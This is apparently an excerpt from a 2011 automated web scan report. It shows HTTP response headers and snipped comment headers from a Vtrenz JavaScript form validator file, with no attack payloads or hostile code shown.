Last-Modified: Fri, 29 Jan 2010 23:00:43 GMT
Accept-Ranges: bytes
ETag: "281ab4e236a1ca1:474"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 08 Mar 2011 02:39:59 GMT

/*==============================================
* Form Validator v2.0
* Copyright (c)2004 - 2006 Vtrenz, Inc.
*
* Date: 08/13/2004
* Written By: JD Hendrickson & Rob Johnson
*
* Last Updated:
...[SNIP]...
;
   }
}

//============================================================
/*************************************************************
   Object:        Field
   Author:        Rob Johnson
   Email:        rjohnson@vtrenz.com
   Created:    Aug. 12, 2004

   Brief Desc:
       The Field object represents a field in an html form.
       The Field object can be used to define a field's data
       type, format, and requirements.
****
...[SNIP]...

Report generated by XSS.CX Research Blog at Tue Mar 08 07:10:30 CST 2011.